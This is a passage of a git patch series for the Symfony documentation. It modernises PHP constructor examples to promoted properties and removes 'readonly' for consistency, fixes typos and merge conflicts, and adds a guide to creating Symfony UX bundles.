-        private $logger;
         private $messageHash;
 
-        public function __construct(LoggerInterface $logger, callable $generateMessageHash)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+            callable $generateMessageHash,
+        ) {
             $this->messageHash = $generateMessageHash();
         }
         // ...
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 3a8c334b040..ecafec80d61 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -45,11 +45,9 @@ And now a Twitter client using this transformer::
 
     class TwitterClient
     {
-        private $transformer;
-
-        public function __construct(Rot13Transformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private Rot13Transformer $transformer,
+        ) {
         }
 
         public function tweet(User $user, string $key, string $status): void
@@ -167,9 +165,9 @@ Autowiring works by reading the ``Rot13Transformer`` *type-hint* in ``TwitterCli
     {
         // ...
 
-        public function __construct(Rot13Transformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private Rot13Transformer $transformer,
+        ) {
         }
     }
 
@@ -299,8 +297,9 @@ Now that you have an interface, you should use this as your type-hint::
 
     class TwitterClient
     {
-        public function __construct(TransformerInterface $transformer)
-        {
+        public function __construct(
+            private TransformerInterface $transformer,
+        ) {
             // ...
         }
 
@@ -384,8 +383,9 @@ dealing with the ``TransformerInterface``.
 
         class DataFormatter
         {
-            public function __construct((NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer)
-            {
+            public function __construct(
+                private (NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer,
+            ) {
                 // ...
             }
 
@@ -436,11 +436,9 @@ the injection::
 
     class MastodonClient
     {
-        private $transformer;
-
-        public function __construct(TransformerInterface $shoutyTransformer)
-        {
-            $this->transformer = $shoutyTransformer;
+        public function __construct(
+            private TransformerInterface $shoutyTransformer,
+        ) {
         }
 
         public function toot(User $user, string $key, string $status): void
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 94909eff2f7..fe666b42956 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -85,11 +85,9 @@ to create a configurator class to configure these instances::
 
     class EmailConfigurator
     {
-        private $formatterManager;
-
-        public function __construct(EmailFormatterManager $formatterManager)
-        {
-            $this->formatterManager = $formatterManager;
+        public function __construct(
+            private EmailFormatterManager $formatterManager,
+        ) {
         }
 
         public function configure(EmailFormatterAwareInterface $emailManager): void
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index b955572c62c..63df4b73945 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -25,11 +25,9 @@ the dependency::
     // ...
     class NewsletterManager
     {
-        private $mailer;
-
-        public function __construct(MailerInterface $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
+            private MailerInterface $mailer,
+        ) {
         }
 
         // ...
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 94e93818672..ce7302c650e 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -18,12 +18,11 @@ you may have multiple repository classes which need the
     // ...
     abstract class BaseDoctrineRepository
     {
-        protected $objectManager;
         protected $logger;
 
-        public function __construct(ObjectManager $objectManager)
-        {
-            $this->objectManager = $objectManager;
+        public function __construct(
+            protected ObjectManager $objectManager,
+        ) {
         }
 
         public function setLogger(LoggerInterface $logger): void
diff --git a/service_container/request.rst b/service_container/request.rst
index d72a533507b..32f33f6443b 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -18,11 +18,9 @@ method::
 
     class NewsletterManager
     {
-        protected $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            protected RequestStack $requestStack,
+        ) {
         }
 
         public function anyMethod()
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 54b4db7f4a7..ba244a74b36 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -20,13 +20,11 @@ all subsequent calls return the same instance, unless the service is
     class MyService
     {
         /**
-         * @var callable(): MailerInterface
+         * @param callable(): MailerInterface
          */
-        private \Closure $mailer;
-
-        public function __construct(\Closure $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
+            private \Closure $mailer,
+        ) {
         }
 
         public function doSomething(): void
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 7bc3ea7e5fa..d1a981b5094 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -155,11 +155,9 @@ automatically changed to ``'.inner'``):
         #[AsDecorator(decorates: Mailer::class)]
         class DecoratingMailer
         {
-            private $inner;
-
-            public function __construct(#[MapDecorated] $inner)
-            {
-                $this->inner = $inner;
+            public function __construct(
+                private #[MapDecorated] $inner,
+            ) {
             }
 
             // ...
@@ -298,11 +296,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
                 // ...
             }
@@ -310,11 +306,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 1)]
             class Baz
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
 
                 // ...
@@ -622,11 +616,9 @@ Three different behaviors are available:
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
             class Bar
             {
-                private $inner;
-
-                public function __construct(#[MapDecorated] $inner)
-                {
-                    $this->inner = $inner;
+                public function __construct(
+                    private #[MapDecorated] $inner,
+                ) {
                 }
 
                 // ...
@@ -690,11 +682,9 @@ Three different behaviors are available:
 
         class DecoratorService
         {
-            private $decorated;
-
-            public function __construct(?OptionalService $decorated)
-            {
-                $this->decorated = $decorated;
+            public function __construct(
+                private ?OptionalService $decorated,
+            ) {
             }
 
             public function tellInterestingStuff(): string
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 803c74fb0b2..1b6b961c29e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -182,11 +182,9 @@ method::
     #[\Attribute(\Attribute::TARGET_CLASS)]
     class SensitiveElement
     {
-        private string $token;
-
-        public function __construct(string $token)
-        {
-            $this->token = $token;
+        public function __construct(
+            private string $token,
+        ) {
         }
 
         public function getToken(): string
diff --git a/session.rst b/session.rst
index da9637b5ca9..1cf2d9e0028 100644
--- a/session.rst
+++ b/session.rst
@@ -45,12 +45,9 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
 
         class SomeService
         {
-            private $requestStack;
-
-            public function __construct(RequestStack $requestStack)
-            {
-                $this->requestStack = $requestStack;
-
+            public function __construct(
+                private RequestStack $requestStack,
+            ) {
                 // Accessing the session in the constructor is *NOT* recommended, since
                 // it might not be accessible yet or lead to unwanted side-effects
                 // $this->session = $requestStack->getSession();
@@ -1295,11 +1292,9 @@ can determine the correct locale however you want::
 
     class LocaleSubscriber implements EventSubscriberInterface
     {
-        private $defaultLocale;
-
-        public function __construct(string $defaultLocale = 'en')
-        {
-            $this->defaultLocale = $defaultLocale;
+        public function __construct(
+            private string $defaultLocale = 'en',
+        ) {
         }
 
         public function onKernelRequest(RequestEvent $event)
@@ -1429,11 +1424,9 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            private RequestStack $requestStack,
+        ) {
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
diff --git a/templates.rst b/templates.rst
index af49c5747a4..439ac1ba8c9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -619,11 +619,9 @@ the :class:`Twig\\Environment` class::
 
     class SomeService
     {
-        private $twig;
-
-        public function __construct(Environment $twig)
-        {
-            $this->twig = $twig;
+        public function __construct(
+            private Environment $twig,
+        ) {
         }
 
         public function someMethod()
diff --git a/testing/database.rst b/testing/database.rst
index 0bd0d03af62..3f0dfd2368c 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -27,11 +27,9 @@ Suppose the class you want to test looks like this::
 
     class SalaryCalculator
     {
-        private $objectManager;
-
-        public function __construct(ObjectManager $objectManager)
-        {
-            $this->objectManager = $objectManager;
+        public function __construct(
+            private ObjectManager $objectManager,
+        ) {
         }
 
         public function calculateTotalSalary($id)
diff --git a/translation.rst b/translation.rst
index becd8140693..5c13bf6da34 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1021,11 +1021,9 @@ of:
 
     class SomeService
     {
-        private LocaleSwitcher $localeSwitcher;
-
-        public function __construct(LocaleSwitcher $localeSwitcher)
-        {
-            $this->localeSwitcher = $localeSwitcher;
+        public function __construct(
+            private LocaleSwitcher $localeSwitcher,
+        ) {
         }
 
         public function someMethod()
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4887a126c02..4d23ef3fd73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -50,13 +50,14 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
     class ContainsAlphanumeric extends Constraint
     {
         public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-        public string $mode;
 
         #[HasNamedArguments]
-        public function __construct(string $mode, array $groups = null, mixed $payload = null)
-        {
+        public function __construct(
+            public string $mode,
+            array $groups = null,
+            mixed $payload = null,
+        ) {
             parent::__construct([], $groups, $payload);
-            $this->mode = $mode;
         }
     }
 
diff --git a/workflow.rst b/workflow.rst
index 9163b58809c..783f442ad28 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -39,7 +39,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as
 follows:
 
 .. configuration-block::
@@ -248,12 +248,10 @@ machine type, use ``camelCased workflow name + StateMachine``::
 
     class MyClass
     {
-        private $blogPublishingWorkflow;
-
-        // Symfony will inject the 'blog_publishing' workflow configured before
-        public function __construct(WorkflowInterface $blogPublishingWorkflow)
-        {
-            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
+        public function __construct(
+            // Symfony will inject the 'blog_publishing' workflow configured before
+            private WorkflowInterface $blogPublishingWorkflow,
+        ) {
         }
 
         public function toReview(BlogPost $post)
@@ -413,11 +411,9 @@ workflow leaves a place::
 
     class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function onLeave(Event $event)
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 10ec2fbf4b6..5dcd1f77755 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -259,11 +259,9 @@ you can get this state machine by injecting the Workflow registry service::
 
     class SomeService
     {
-        private $workflows;
-
-        public function __construct(Registry $workflows)
-        {
-            $this->workflows = $workflows;
+        public function __construct(
+            private Registry $workflows,
+        ) {
         }
 
         public function someMethod(PullRequest $pullRequest)
@@ -288,11 +286,9 @@ to access the proper service::
 
     class SomeService
     {
-        private $stateMachine;
-
-        public function __construct(StateMachine $stateMachine)
-        {
-            $this->stateMachine = $stateMachine;
+        public function __construct(
+            private StateMachine $stateMachine,
+        ) {
         }
 
         public function someMethod(PullRequest $pullRequest)

From c99291b718bd04d28ded5759f74b3db3655b779b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:55:14 +0100
Subject: [PATCH 4422/7107] Remove readonly for now, to be consistent

---
 components/clock.rst            | 2 +-
 quick_tour/the_architecture.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 1cd9757d69d..2528551d1c5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -50,7 +50,7 @@ determine the current time::
     class ExpirationChecker
     {
         public function __construct(
-            private readonly ClockInterface $clock
+            private ClockInterface $clock
         ) {}
 
         public function isExpired(DateTimeInterface $validUntil): bool
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 7c7cfac7751..d3a0c65ef3d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -137,7 +137,7 @@ difference is that it's done in the constructor:
       class GreetingGenerator
       {
     +     public function __construct(
-    +         private readonly LoggerInterface $logger,
+    +         private LoggerInterface $logger,
     +     ) {
     +     }
 
@@ -171,7 +171,7 @@ that extends ``AbstractExtension``::
     class GreetExtension extends AbstractExtension
     {
         public function __construct(
-            private readonly GreetingGenerator $greetingGenerator,
+            private GreetingGenerator $greetingGenerator,
         ) {
         }
 

From b7770b6a6345bc2eef1df1d910916dece67704bf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:55:57 +0100
Subject: [PATCH 4423/7107] Remove readonly for now, to be consistent

---
 service_container.rst                  | 4 ++--
 service_container/service_closures.rst | 2 +-
 workflow.rst                           | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 5f50785b280..b0ca1391c71 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -821,9 +821,9 @@ like this::
     class MessageGenerator
     {
         public function __construct(
-            private readonly LoggerInterface $logger,
+            private LoggerInterface $logger,
             #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
-            private readonly \Closure $generateMessageHash
+            private \Closure $generateMessageHash
         ) {
             // ...
         }
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index f0940a2a111..28c3384d262 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -105,7 +105,7 @@ in the service class, without further configuration::
     {
         public function __construct(
             #[AutowireServiceClosure('mailer')]
-            private readonly \Closure $mailer
+            private \Closure $mailer
         ) {
             $this->mailer = $mailer;
         }
diff --git a/workflow.rst b/workflow.rst
index 87c4b654166..7cee6bde1b0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -278,7 +278,7 @@ attribute::
     {
         public function __construct(
             #[Target('blog_publishing')]
-            private readonly WorkflowInterface $workflow
+            private WorkflowInterface $workflow
         ) {
         }
 

From d3f5ddf71f95c0f85cb847e401e9f8d6f6b8fe00 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 15 Mar 2023 16:56:39 +0100
Subject: [PATCH 4424/7107] Minor

---
 service_container/service_closures.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 28c3384d262..2f922d1a0c6 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -107,7 +107,6 @@ in the service class, without further configuration::
             #[AutowireServiceClosure('mailer')]
             private \Closure $mailer
         ) {
-            $this->mailer = $mailer;
         }
 
         public function doSomething(): void

From 76791e0aff0bcf9cc5f377fc1713fb48520d414b Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 20 Feb 2023 17:11:37 +0100
Subject: [PATCH 4425/7107] [DependencyInjection] Allow array attributes for
 services tags

---
 service_container/tags.rst | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1d0e5b52a6e..390f757898a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -424,7 +424,7 @@ To answer this, change the service declaration:
 
             MailerSendmailTransport:
                 tags:
-                    - { name: 'app.mail_transport', alias: 'sendmail' }
+                    - { name: 'app.mail_transport', alias: ['sendmail', 'anotherAlias']}
 
     .. code-block:: xml
 
@@ -443,7 +443,10 @@ To answer this, change the service declaration:
                 </service>
 
                 <service id="MailerSendmailTransport">
-                    <tag name="app.mail_transport" alias="sendmail"/>
+                    <tag name="app.mail_transport">
+                        <attribute>sendmail</attribute>
+                        <attribute>anotherAlias</attribute>
+                    </tag>
                 </service>
             </services>
         </container>
@@ -463,10 +466,14 @@ To answer this, change the service declaration:
             ;
 
             $services->set(\MailerSendmailTransport::class)
-                ->tag('app.mail_transport', ['alias' => 'sendmail'])
+                ->tag('app.mail_transport', ['alias' => ['sendmail', 'anotherAlias']])
             ;
         };
 
+.. versionadded:: 6.2
+
+    Support for attributes as array was introduced in Symfony 6.2.
+
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 6641fa5dda3ad2a8fcfbe671773db07f909ee838 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 15 Mar 2023 22:25:51 +0100
Subject: [PATCH 4426/7107] [HttpCache] Fix decorating http_cache xml example

---
 http_cache/cache_invalidation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index c6df4fd85c0..b0b07909d29 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -110,11 +110,13 @@ Then, register the class as a service that :doc:`decorates </service_container/s
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd"
         >
-            <service id="App\CacheKernel" decorates="http_cache">
-                <argument type="service" id="kernel"/>
-                <argument type="service" id="http_cache.store"/>
-                <argument type="service" id="esi" on-invalid="null"/>
-            </service>
+            <services>
+                <service id="App\CacheKernel" decorates="http_cache">
+                    <argument type="service" id="kernel"/>
+                    <argument type="service" id="http_cache.store"/>
+                    <argument type="service" id="esi" on-invalid="null"/>
+                </service>
+            </services>
         </container>
 
     .. code-block:: php

From 9fa47e5640c2d9fd41e896821441f8a39c6c539c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Mar 2023 10:03:50 +0100
Subject: [PATCH 4427/7107] add Symfony UX in attributes reference

---
 reference/attributes.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index c77662b5c69..671d172c6e2 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -70,8 +70,21 @@ Serializer
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
 
+Symfony UX
+~~~~~~~~~~
+
+* `AsEntityAutocompleteField`_
+* `AsLiveComponent`_
+* `AsTwigComponent`_
+* `Broadcast`_
+
 Validator
 ~~~~~~~~~
 
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
+
+.. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
+.. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`AsTwigComponent`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`Broadcast`: https://symfony.com/bundles/ux-turbo/current/index.html#broadcast-conventions-and-configuration

From 6b7e144a9f087e74faaf967c291f0575bc519ef6 Mon Sep 17 00:00:00 2001
From: Daniele Ambrosino <mail@danieleambrosino.it>
Date: Wed, 8 Mar 2023 12:28:18 +0100
Subject: [PATCH 4428/7107] Update event_dispatcher.rst

Fix a little spelling mistake.
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 7f9adf284bc..fbee0d5268d 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -61,7 +61,7 @@ The most common way to listen to an event is to register an **event listener**::
     }
 
 Now that the class is created, you need to register it as a service and
-notify Symfony that it is a event listener by using a special "tag":
+notify Symfony that it is an event listener by using a special "tag":
 
 .. configuration-block::
 

From e0b74e0501ee0c4e696605623a603c085406feb0 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 16 Mar 2023 23:39:36 +0100
Subject: [PATCH 4429/7107] Update deployment.rst

---
 deployment.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/deployment.rst b/deployment.rst
index 495cddb5505..da77d19f086 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -209,6 +209,7 @@ setup:
 * Running any database migrations
 * Clearing your APCu cache
 * Add/edit CRON jobs
+* Restarting your workers
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to

From 850e349f4b7d39c2544767d4aed47d28b8dfd032 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 10:48:54 +0100
Subject: [PATCH 4430/7107] fix alphabetical order

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3260f7633d9..a07efb3cb2d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -84,8 +84,8 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``

From dee1e9ad3dedc674d6093398f9bd3bfb8b3fa013 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 20 Feb 2023 15:19:33 +0100
Subject: [PATCH 4431/7107] Add docs about creating UX bundles

---
 frontend/create_ux_bundle.rst | 139 ++++++++++++++++++++++++++++++++++
 1 file changed, 139 insertions(+)
 create mode 100644 frontend/create_ux_bundle.rst

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
new file mode 100644
index 00000000000..1a93225b5ae
--- /dev/null
+++ b/frontend/create_ux_bundle.rst
@@ -0,0 +1,139 @@
+.. index::
+   single: Create a UX bundle
+
+Create a UX bundle
+==================
+
+.. tip::
+
+    Before reading this, you may want to have a look at
+    :doc:`Best Practices for Reusable Bundles </bundles/best_practices>`.
+
+Here are a few tricks to make your bundle install as a UX bundle.
+
+composer.json file
+------------------
+
+Your ``composer.json`` file must have the ``symfony-ux`` keyword:
+
+.. code-block:: json
+
+    {
+        "keywords": ["symfony-ux"]
+    }
+
+Assets location
+---------------
+
+Your assets must be located in one of the following directories, with a ``package.json`` file so Flex can handle it
+during install/update:
+
+* ``/assets`` (recommended)
+* ``/Resources/assets``
+* ``/src/Resources/assets``
+
+package.json file
+-----------------
+
+Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
+to the ``peerDependencies``:
+
+.. code-block:: json
+
+    {
+        "name": "@acme/feature",
+        "version": "1.0.0",
+        "symfony": {
+            "controllers": {
+                "slug": {
+                    "main": "dist/controller.js",
+                    "fetch": "eager",
+                    "enabled": true,
+                    "autoimport": {
+                        "dist/bootstrap4-theme.css": false,
+                        "dist/bootstrap5-theme.css": true
+                    }
+                }
+            }
+        },
+        "peerDependencies": {
+            "@hotwired/stimulus": "^3.0.0",
+            "slugify": "^1.6.5"
+        }
+    }
+
+In this case, the file located at ``[assets directory]/dist/controller.js`` will be exposed.
+
+.. tip::
+
+    You can either write raw JS in this ``dist/controller.js`` file, or you can e.g. write your controller with
+    TypeScript and transpile it to JavaScript.
+
+    Here is an example to do so:
+
+    1. Add the following to your ``package.json`` file:
+
+    .. code-block:: json
+
+        {
+            "scripts": {
+                "build": "babel src --extensions .ts -d dist"
+            },
+            "devDependencies": {
+                "@babel/cli": "^7.20.7",
+                "@babel/core": "^7.20.12",
+                "@babel/plugin-proposal-class-properties": "^7.18.6",
+                "@babel/preset-env": "^7.20.2",
+                "@babel/preset-typescript": "^7.18.6",
+                "@hotwired/stimulus": "^3.2.1",
+                "typescript": "^4.9.5"
+            }
+        }
+
+    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+
+    3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+
+    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+
+To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
+
+.. code-block:: html+twig
+
+    <div
+        {{ stimulus_controller('acme/feature/slug', { modal: 'my-value' }) }}
+        {#
+            will render:
+            data-controller="acme--feature--slug"
+            data-acme--feature--slug-modal-value="my-value"
+        #}
+    >
+        ...
+    </div>
+
+Don't forget to add ``symfony/webpack-encore-bundle:^1.12`` as a composer dependency to use
+Twig ``stimulus_*`` functions.
+
+.. tip::
+
+    Controller Naming: In this example, the ``name`` of the PHP package is ``acme/feature`` and the name
+    of the controller in ``package.json`` is ``slug``. So, the full controller name for Stimulus will be
+    ``acme--feature--slug``, though with the ``stimulus_controller()`` function, you can use ``acme/feature/slug``.
+
+Each controller has a number of options in ``package.json`` file:
+
+==================  ====================================================================================================
+Option              Description
+==================  ====================================================================================================
+enabled             Whether the controller should be enabled by default.
+main                Path to the controller file.
+fetch               How controller & dependencies are included when the page loads.
+                    Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's
+                    downloaded when the page is loaded.
+                    Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded
+                    asynchronously if (and when) the data-controller HTML appears on the page.
+autoimport          List of files to be imported with the controller. Useful e.g. when there are several CSS styles
+                    depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...).
+                    The value must be an object with files as keys, and a boolean as value for each file to set
+                    whether the file should be imported.
+==================  ====================================================================================================

From dc7368b3dd6211a8d95510546a41b9e3b45e1067 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 15:31:44 +0100
Subject: [PATCH 4432/7107] fix typo

---
 components/dom_crawler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 40a032fdfa6..5b2a63ce5bd 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -661,7 +661,7 @@ parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 
     $crawler = new Crawler(null, $uri, useHtml5Parser: true);
 
-By doing do, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
+By doing so, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
 library to parse the documents.
 
 .. versionadded:: 6.3

From a0f35f87d23122246f1435a515535675539442e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 17 Mar 2023 16:16:26 +0100
Subject: [PATCH 4433/7107] Fix: Merge conflict

---
 service_container/service_decoration.rst | 30 +++---------------------
 1 file changed, 3 insertions(+), 27 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b48968924c5..032ba8b7c12 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -302,17 +302,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
                 // ...
             }
@@ -320,17 +312,9 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             #[AsDecorator(decorates: Foo::class, priority: 1)]
             class Baz
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
 
                 // ...
@@ -638,17 +622,9 @@ Three different behaviors are available:
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
             class Bar
             {
-<<<<<<< HEAD
-                private $inner;
-
-                public function __construct(#[AutowireDecorated] $inner)
-                {
-                    $this->inner = $inner;
-=======
                 public function __construct(
-                    private #[MapDecorated] $inner,
+                    private #[AutowireDecorated] $inner,
                 ) {
->>>>>>> 6.2
                 }
 
                 // ...

From 8e9271ba878472def1ea4fc89e1493b655cb385f Mon Sep 17 00:00:00 2001
